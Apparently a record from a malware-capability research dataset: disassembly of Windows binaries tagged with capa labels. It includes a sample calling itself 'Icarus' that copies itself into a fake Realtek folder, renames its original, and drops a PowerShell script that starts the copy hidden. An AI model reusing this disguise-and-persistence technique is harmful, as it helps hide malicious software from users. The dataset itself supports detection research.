joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a70
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Query environment variable

Disassembly:
sub rsp, 0x588
call fcn.140007a74
mov rax, qword [rax]
mov rdx, qword [rax]
lea rcx, [rsp + 0x470]
mov r8d, 0x104
call fcn.140008360
cmp rax, 0
je 0x140001ab3
lea rdx, [rsp + 0x470]
lea rcx, str._i__Obtained_path_to_current_file:__s_n_n
call fcn.140001f40
mov ecx, 0x20a
call fcn.140003330
mov qword [rsp + 0x468], rax
lea r9, [rsp + 0x470]
mov rdx, qword [rsp + 0x468]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.140008810
lea rdx, [rsp + 0x360]
lea rcx, str.USERPROFILE
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x250]
lea r8, str._sAppDataRoamingRealtekRtkAudioService64.exe
mov edx, 0x104
call fcn.140002130
lea rdx, [rsp + 0x250]
lea rcx, str._i__Icarus_will_be_copied_to_this_path:__s_n_n
call fcn.140001f40
mov ecx, 0x20a
call fcn.140003330
mov qword [rsp + 0x248], rax
lea r9, [rsp + 0x250]
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.140008810
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001cc1
lea rcx, str._i__The_Icarus_file_do_not_already_exist__starting_procedure_to_creation_of_the_fake_Realtek_environment_n
call fcn.140001f40
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x140]
lea r8, str._sAppDataRoamingRealtek
mov edx, 0x104
call fcn.140002130
mov ecx, 0x20a
call fcn.140003330
mov qword [rsp + 0x138], rax
lea r9, [rsp + 0x140]
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.140008810
mov rcx, qword [rsp + 0x138]
xor eax, eax
mov edx, eax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.___Realtek_directory_created_n
call fcn.140001f40
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x468]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 0
je 0x140001c52
lea rcx, str._i__The_file_Icarus_has_been_copied_in_the_Fake_Realtek_environment_with_success._n_n
call fcn.140001f40
jmp 0x140001c66
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_during_the_copy._Error_code:__lu_n_n
call fcn.140001f40
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x30]
lea r8, str._sAppDataLocalTempSystemBackup_2.92.bkf
mov edx, 0x104
call fcn.140002130
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x470]
call fcn.1400088b8
cmp eax, 0
je 0x140001cb0
lea rcx, str.____Error_during_renaming_of_file_n
call fcn.140001f40
jmp 0x140001cbc
lea rcx, str.___The_current_file_has_been_moved_to_the_path:_tmp_n
call fcn.140001f40
jmp 0x140001cc1
add rsp, 0x588
ret
Function at 0x140001db0
Capabilities:
Check if file exists
Get file attributes
Query environment variable

Disassembly:
sub rsp, 0x248
lea rdx, [rsp + 0x140]
lea rcx, str.USERPROFILE
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rax, str.RtkAudioServiceStartup64.ps1
mov qword [rsp + 0x138], rax
lea r9, [rsp + 0x140]
lea rcx, [rsp + 0x30]
lea r8, str._sAppDataRoamingRealtekRtkAudioServiceStartup64.ps1
mov edx, 0x104
call fcn.140002130
lea rax, str._________Avvia_il_primo_programma_n________Start_Process__FilePath__C:Program_FilesRealtekAudioHDARtkNGUI64.exe___ArgumentList___s__n_________n_________Attendi_per_3_secondi_n________Start_Sleep__Seconds_3_n_________n_________Ottieni_la_directory_AppData_dellutente_corrente_n_________appDataDirectory___env:APPDATA_n_________n_________Specifica_il_percorso_relativo_del_secondo_programma_n_________programPath___RealtekRtkAudioService64.exe__n_________n_________Costruisci_la_path_completa_del_secondo_programma_n_________fullPath__Join_Path__appDataDirectory__programPath_n_________n_________Avvia_il_secondo_programma_n________Start_Process__FilePath__fullPath__WindowStyle_Hidden_n
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001e99
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140001e99
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
lea r8, [0x14001edea]
call fcn.140008b50
cmp eax, 0
jne 0x140001e88
cmp qword [rsp + 0x20], 0
je 0x140001e88
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
call fcn.140008c6c
mov rcx, qword [rsp + 0x20]
call fcn.140008f30
lea rdx, [rsp + 0x30]
lea rcx, str.___File_created_with_success:__s_n_n
call fcn.140001f40
jmp 0x140001e94
lea rcx, str.____Error_during_creation_of_File_n_n
call fcn.140001f40
jmp 0x140001eaa
lea rdx, [rsp + 0x30]
lea rcx, str._i__The_file__s_already_exists._No_operation_executed_n_n
call fcn.140001f40
nop
add rsp, 0x248
ret

Function at 0x140003b48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003b92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003b92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003b92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003b92
cmp dword [rcx + 0x84], 0xe
jbe 0x140003b92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003b94
xor al, al
add rsp, 0x28
ret
Function at 0x1400088b8
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140007408
mov rax, qword [rbp - 0x58]
mov edi, 0xfde9
cmp dword [rax + 0xc], edi
jne 0x140008903
xor ebx, ebx
cmp byte [rbp - 0x48], bl
je 0x140008937
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140008937
call fcn.14000fd5c
xor ebx, ebx
test eax, eax
jne 0x140008925
cmp byte [rbp - 0x48], bl
je 0x14000891e
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, 1
jmp 0x140008937
cmp byte [rbp - 0x48], bl
je 0x140008935
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, ebx
mov r9d, edi
mov qword [rbp - 0x30], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x20], rbx
mov rcx, rsi
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
mov byte [rbp - 8], bl
call fcn.140007a7c
mov esi, eax
test eax, eax
je 0x140008973
call fcn.14000fa70
or edi, 0xffffffff
mov dword [rax], esi
jmp 0x1400089cc
mov r9d, edi
mov qword [rbp - 0x60], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x58], rbx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov rcx, r14
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov byte [rbp - 0x38], bl
call fcn.140007a7c
mov edi, eax
test eax, eax
je 0x1400089af
call fcn.14000fa70
mov dword [rax], edi
or edi, 0xffffffff
jmp 0x1400089be
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
call fcn.140011480
mov edi, eax
cmp byte [rbp - 0x38], bl
je 0x1400089cc
mov rcx, qword [rbp - 0x50]
call fcn.14000fb08
cmp byte [rbp - 8], bl
je 0x1400089da
mov rcx, qword [rbp - 0x20]
call fcn.14000fb08
lea r11, [rsp + 0x80]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x14000efbc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000edac
Function at 0x140014754
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140014784
xor eax, eax
jmp 0x140014847
mov rbp, rbx
cmp word [rax], si
je 0x1400147a9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140014790
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001478c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400111e8
movsxd r14, eax
test eax, eax
jne 0x1400147e7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001477d
mov rcx, r14
call fcn.14001112c
mov rdi, rax
test rax, rax
jne 0x140014800
xor ecx, ecx
call fcn.14000fb08
jmp 0x1400147dc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400111e8
test eax, eax
jne 0x140014831
mov rcx, rdi
call fcn.14000fb08
jmp 0x14001483b
xor ecx, ecx
call fcn.14000fb08
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001a77c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007408
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001a806
cmp byte [rbp - 0x21], r15b
je 0x14001a801
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001a83c
call fcn.14000fd5c
test eax, eax
jne 0x14001a828
cmp byte [rbp - 0x21], r15b
je 0x14001a820
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001a83c
cmp byte [rbp - 0x21], r15b
je 0x14001a839
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007a7c
test eax, eax
jne 0x14001a8dc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007408
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001a87b
cmp byte [rbp - 0x21], r15b
je 0x14001a8b0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001a8b0
call fcn.14000fd5c
test eax, eax
jne 0x14001a89c
cmp byte [rbp - 0x21], r15b
je 0x14001a895
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001a8b0
cmp byte [rbp - 0x21], r15b
je 0x14001a8ad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007a7c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001a8dc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001a8df
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001a8ed
mov rcx, rdi
call fcn.14000fb08
cmp byte [rbp + 0x3f], r15b
je 0x14001a8fc
mov rcx, qword [rbp + 0x27]
call fcn.14000fb08
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001ad24
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x14002b2e0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14001ad82
cmp word [rdx], r12w
jne 0x14001ad82
or byte [rax + r8*8 + 0x38], cl
jmp 0x14001ad88
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14001aee3
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14001aebe
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14001adc1
mov rcx, r9
jmp 0x14001ade4
cmp r9, rdx
jae 0x14001adfb
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14001ada5
jmp 0x14001aee3
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001aeb8
cmp dword [rsp + 0x80], edi
je 0x14001aeb8
mov rdx, r14
lea r11, [0x14002b2e0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14001ae91
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14001ae64
mov word [rbx], r12w
jmp 0x14001aedf
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14001ae6d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14001aedf
cmp word [rsp + 0x70], r12w
jne 0x14001ae9e
cmp rbx, rsi
je 0x14001ae5e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14001ac44
cmp word [rsp + 0x70], r12w
je 0x14001aee3
mov word [rbx], r13w
jmp 0x14001aedf
lea r11, [0x14002b2e0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14001aedb
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14001aee3
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001b6d0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001ac44
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001ac44
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14001b820
cmp rax, 0xffffffffffffffff
je 0x14001b820
xor edi, edi
test rbp, rbp
jle 0x14001b7cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14000fa90
mov rbx, rax
test rax, rax
jne 0x14001b758
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14001b7c1
mov edx, 0x8000
mov ecx, r14d
call fcn.14000f038
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140016adc
cmp eax, 0xffffffff
je 0x14001b7a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14001b768
mov edx, r15d
mov ecx, r14d
call fcn.14000f038
jmp 0x14001b7c1
cmp byte [rsi + 0x38], dil
je 0x14001b7b8
cmp dword [rsi + 0x34], 5
jne 0x14001b7b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14001b7c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14000fb08
jmp 0x14001b834
jns 0x14001b834
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001ac44
cmp rax, 0xffffffffffffffff
jne 0x14001b7ec
cmp byte [rsi + 0x30], dil
je 0x14001b834
mov edi, dword [rsi + 0x2c]
jmp 0x14001b834
mov ecx, r14d
call fcn.140015194
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14001b834
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14001b834
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14001b82d
mov eax, dword [rsi + 0x2c]
jmp 0x14001b832
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001ac44
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x6d8e5e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d9075e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8e5ff8
mov rax, qword [0x6d9075e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8e5ebc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8e5f45
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8e5ea0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8e602d
mov rax, qword [0x6d9075e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d9075e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8e6010
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8e5f3e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8e5fa0
add dword [0x6d9075e4], 1
cmp edi, 8
jae 0x6d8e5f73
test dil, 4
jne 0x6d8e5fe4
test edi, edi
je 0x6d8e5f68
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8e5fff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8e5f68
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8e5f8c
jmp 0x6d8e5f68
add rsi, qword [0x6d9075e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8e5f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8e5f68
xor esi, esi
jmp 0x6d8e5ec7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8e5f68
mov rax, qword [0x6d9075e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8e6780
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d9078c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d9078a0]
test rbx, rbx
je 0x6d8e67d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8e67cb
test rsi, rsi
je 0x6d8e67cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8e67b0
lea rcx, [0x6d9078c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8e6a10
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8e6a20
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8e6a30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8e6a71
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8e6a68
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8e6a73
add rax, 0x28
cmp rax, r9
jne 0x6d8e6a54
xor eax, eax
ret

Function at 0x6d8e6b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d9041f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8e6b7d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8e6b7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8e6b7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8e6b74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8e6b7f
add rax, 0x28
cmp rax, r9
jne 0x6d8e6b60
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8e6c80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d9041f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8e6ca0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8e6c98
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8e6cfd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8e6cf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8e6d04
add rax, 0x28
cmp rax, r9
jne 0x6d8e6ce0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8e6d20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d9041f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8e6d8e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8e6d8e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8e6d8e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8e6d8e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8e6d85
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8e6d95
add rcx, 0x28
cmp rcx, rax
jne 0x6d8e6d70
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8e6da8
jmp 0x6d8e6d8e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8e6db6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8e6d8e
test r9d, r9d
jg 0x6d8e6da0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8e7120
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop